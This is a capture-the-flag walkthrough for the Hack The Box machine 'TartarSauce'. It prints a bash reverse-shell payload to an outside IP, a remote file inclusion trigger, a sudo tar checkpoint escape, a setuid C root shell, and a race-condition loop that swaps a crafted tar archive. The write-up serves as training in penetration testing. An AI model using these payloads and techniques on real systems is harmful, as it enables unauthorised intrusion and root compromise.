TartarSauce


Box TartarSauce
OS Linux
Difficulty Medium
Foothold WordPress plugin RFI (Gwolle Guestbook, CVE-2015-8351)
Lateral sudo tar as onuma, GTFOBins checkpoint action
Root race a root backup script, feed it a tar with a setuid binary inside

There is a decent rabbit hole in this box that most people will fall for including myself, however I decided not to include it in this writeup.


Enumeration

full port scan, scripts and versions.

nmap -sCV 10.129.1.185 -p- --min-rate 4000 -T4
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Landing Page
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 5 disallowed entries
| /webservices/tar/tar/source/
| /webservices/monstra-3.0.4/ /webservices/easy-file-uploader/
|_/webservices/developmental/ /webservices/phpmyadmin/

TartarSauce landing page

one port. everything happens on 80.

nmap already read robots.txt for us, but pull it up anyway.

robots.txt contents

five entries. only monstra-3.0.4 actually resolves, and it is a working CMS with admin:admin as the login. that panel goes nowhere on this box.

robots.txt tells you what the admin thought to hide. it does not tell you what is there. always fuzz the parent directory anyway.

so fuzz /webservices/ properly.

gobuster dir -u http://10.129.1.185/webservices/ -t 50 \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -b 404,400

gobuster finds the wp directory

wp. a WordPress install that robots.txt says nothing about. that is the way in.


Foothold

scan the WordPress install. use aggressive plugin detection, passive mode will miss it.

wpscan --url http://10.129.1.185/webservices/wp/ --enumerate p --plugins-detection aggressive

wpscan finds the gwolle-gb plugin

WordPress 4.9.4 and two plugins. akismet is noise. gwolle-gb is the one.

wpscan reports 2.3.10 for gwolle. the readme was edited to say that. the actual installed version is 1.5.3, which is why the searchsploit entry for 1.5.3 matches when the version string says it should not. if a version looks patched but the box is old, check the exploit anyway.

searchsploit gwolle

searchsploit finds the gwolle RFI

CVE-2015-8351, remote file inclusion.

Advisory ID: HTB23275
Product: Gwolle Guestbook WordPress Plugin
Vulnerable Version(s): 1.5.3 and probably prior
Vulnerability Type: PHP File Inclusion [CWE-98]
CVE Reference: CVE-2015-8351
CVSSv3 Base Score: 9.0

how the bug works: the plugin takes an abspath parameter and appends wp-load.php to it, then includes the result. no validation. point it at a URL you control and it fetches and executes your PHP.

two consequences. the file must be named wp-load.php, because the plugin supplies that part. and abspath points at the directory, with a trailing slash, not at the file.

make the payload. name matters.

<?php system("bash -c 'bash -i >& /dev/tcp/10.10.15.156/4444 0>&1'"); ?>

wp-load.php payload written to disk

listener.

nc -lvnp 4444

serve the payload from the directory holding wp-load.php.

python3 -m http.server 8000

trigger it.

curl "http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.15.156:8000/"

shell lands as www-data

upgrade it before doing anything else, the rest of this box involves long commands and an unupgraded shell will chew them.

python3 -c 'import pty;pty.spawn("/bin/bash")'

ctrl+z, then on kali:

stty raw -echo; fg

enter twice, then:

export TERM=xterm
stty rows 50 cols 200

www-data to onuma

first thing on any linux box.

sudo -l

sudo -l shows the tar rule

User www-data may run the following commands on TartarSauce:
    (onuma) NOPASSWD: /bin/tar

straight to GTFOBins: https://gtfobins.github.io/gtfobins/tar/

tar has --checkpoint-action=exec=, which runs a command at a checkpoint during archiving. --checkpoint=1 makes it fire immediately. tar was never meant to be a shell escape, but that flag is one.

sudo -u onuma /bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

tar checkpoint escape lands as onuma

onuma. user flag is in the home directory.

note the sudo rule said (onuma), not (root) or (ALL).


Root

sudo -l as onuma gives nothing, and /etc/crontab is empty. so look for what is actually moving on the box.

ls -lat /var/backups/

everything is dated 2018 except two files dated today. something is writing here right now.

cat /var/backups/onuma_backup_test.txt

onuma_backup_test.txt shows backuperer running

“Auto backup backuperer backup last ran at”. there is a job called backuperer.

find / -name "backuperer*" 2>/dev/null
/etc/systemd/system/multi-user.target.wants/backuperer.timer
/lib/systemd/system/backuperer.service
/lib/systemd/system/backuperer.timer
/usr/sbin/backuperer

systemd, not cron. that is why crontab looked empty. read the timer, the service and the script.

cat /lib/systemd/system/backuperer.timer
cat /lib/systemd/system/backuperer.service
cat /usr/sbin/backuperer

what the three files tell you

backuperer.timer has OnUnitActiveSec=5min, so it fires every 5 minutes. that is your retry interval.

backuperer.service has no User= line, and systemd defaults to root. so the script runs as root.

the script has four lines that matter:

tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &
/bin/sleep 30
/bin/tar -zxvf $tmpfile -C $check
  1. the temp file lands in /var/tmp with a random sha1 name and a leading dot. you cannot predict the name, so you match it with a pattern at runtime.
  2. the archive is created as onuma. you are onuma. the file is yours to overwrite.
  3. thirty seconds pass between the file existing and root using it. that is the window.
  4. root extracts it with no --no-same-owner. GNU tar running as root restores whatever uid, gid and mode the archive headers claim. you wrote the archive, so you wrote the headers.

chain it: you own the file, root unpacks it as root, tar trusts your metadata, you get a root owned setuid binary on disk.

then the exit paths decide whether it survives.

if [[ $(integrity_chk) ]]
then
    ... exit 2              # $check is left behind
else
    /bin/rm -rf $check .*   # $check is deleted
fi

counterintuitive bit: the exploit needs the script to fail. your archive will not match /var/www/html, so the diff finds differences, the script errors out, and /var/tmp/check stays on disk with your binary in it. if it passed the check, the cleanup would wipe it.

building the payload

on kali.

cat > /tmp/rootshell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

why a compiled binary and not a copy of bash: setuid bash drops privileges at startup when euid does not match uid. -p is supposed to stop that and it still fails here. a small C wrapper that calls setuid(0) explicitly sidesteps the whole problem.

gcc -m32 -static -o rootshell /tmp/rootshell.c

-m32 because the box is 32-bit. on a 64-bit kali you need sudo apt install gcc-multilib -y first or you hit fatal error: bits/libc-header-start.h: No such file.

-static so it does not depend on the target having the 32-bit loader.

now the archive.

mkdir -p /tmp/y/var/www/html
cp rootshell /tmp/y/var/www/html/rootshell
chmod 4777 /tmp/y/var/www/html/rootshell
cd /tmp/y
tar -czf /tmp/evil.tar.gz --owner=0 --group=0 --mode=4777 var/www/html/rootshell

--mode=4777 is not optional and this is the thing most likely to get you. chmod on the file alone is not enough, because tar applies your umask when it reads the file mode and strips the setuid bit on the way into the archive. I lost several cycles to this. the extraction worked, ownership was root, and the result was -rwx------ with no s. set the mode explicitly in the headers.

the relative path matters too. the script tars /var/www/html (tar strips the leading slash) and extracts with -C $check, so your archive has to contain var/www/html/rootshell.

verify before you go any further.

tar -tvzf /tmp/evil.tar.gz
-rwsrwxrwx root/root    740208 2026-09-18 23:27 var/www/html/rootshell

rws and root/root. if the s is missing, stop and fix it now, otherwise you will wait five minutes to find out it failed.

serve it.

cd /tmp && python3 -m http.server 8000

pull it down on the target and check it survived the transfer.

wget http://10.10.15.156:8000/evil.tar.gz -O /tmp/evil.tar.gz
tar -tvzf /tmp/evil.tar.gz

winning the race

while true; do f=$(ls -a /var/tmp | grep -E '^\.[a-f0-9]{40}$'); if [ -n "$f" ]; then sleep 5; cp /tmp/evil.tar.gz /var/tmp/$f; echo "SWAPPED $(date)"; break; fi; sleep 1; done

this hangs on purpose. you are not timing anything by hand. it polls /var/tmp every second, and the dotted sha1 file only exists during the window, because the script deletes it at the start of each run. when the job fires, the loop sees the file appear, waits 5 seconds for tar to finish writing it, then overwrites it with yours and prints SWAPPED.

the 5 second sleep matters. copy the instant the file appears and tar is still writing, so it overwrites your archive with the real backup. 5 seconds is past tar finishing and well inside the 30 second window.

it can sit there for up to 5 minutes. leave it.

when it prints SWAPPED, wait 30 seconds for root to extract, then check.

ls -la /var/tmp/check/var/www/html/rootshell

race won, rootshell owned by root

-rwsrwxrwx 1 root root 740208 Sep 18  2026 /var/tmp/check/var/www/html/rootshell

check the timestamp, not just that the file exists. a stale file from a previous attempt will sit there looking right.

/var/tmp/check/var/www/html/rootshell
id
cat /root/root.txt

root on TartarSauce


If something breaks

no reverse shell from the RFI. the file has to be named exactly wp-load.php, and abspath points at the directory with a trailing slash, not at the file. watch your python http server, if you do not see a GET /wp-load.php the request never reached your box.

shell chews long commands, commands come back mangled. the pty is not sized. stty size on kali for the real numbers, then stty rows X cols Y in the shell. this will waste your time on the tar commands later if you skip it.

extracted binary is -rwx------ instead of -rwsrwxrwx. the setuid bit did not make it into the archive. chmod alone is not enough, you need --mode=4777 on the tar command. check with tar -tvzf before swapping.

If SWAPPED prints instantly. it matched a leftover file, not a fresh one. check ls -la /var/tmp/ and compare the size of the dotted file against your archive.

setuid bash refuses to run, even with -p. it will. use the compiled C wrapper.


Takeaways

robots.txt is a list of what someone thought to hide, not an inventory. the thing that mattered on this box was the one directory it does not mention.

a reported version can be a lie. the gwolle readme was edited to make wpscan report a patched version. if a box is old and the exploit is plausible, try it.

privilege boundaries inside a script are where the bugs live. backuperer runs as root but drops to onuma for exactly one step, and that one step produces the data root later trusts. any time a root process handles something a lower user created, look at that.

tar metadata is attacker controlled. ownership and mode live in the archive headers, and you do not need to be root to write uid 0 into a header. root extraction without --no-same-owner honours all of it.

verify your payload before you spend the window on it. tar -tvzf takes a second and would have saved me multiple failed cycles.


References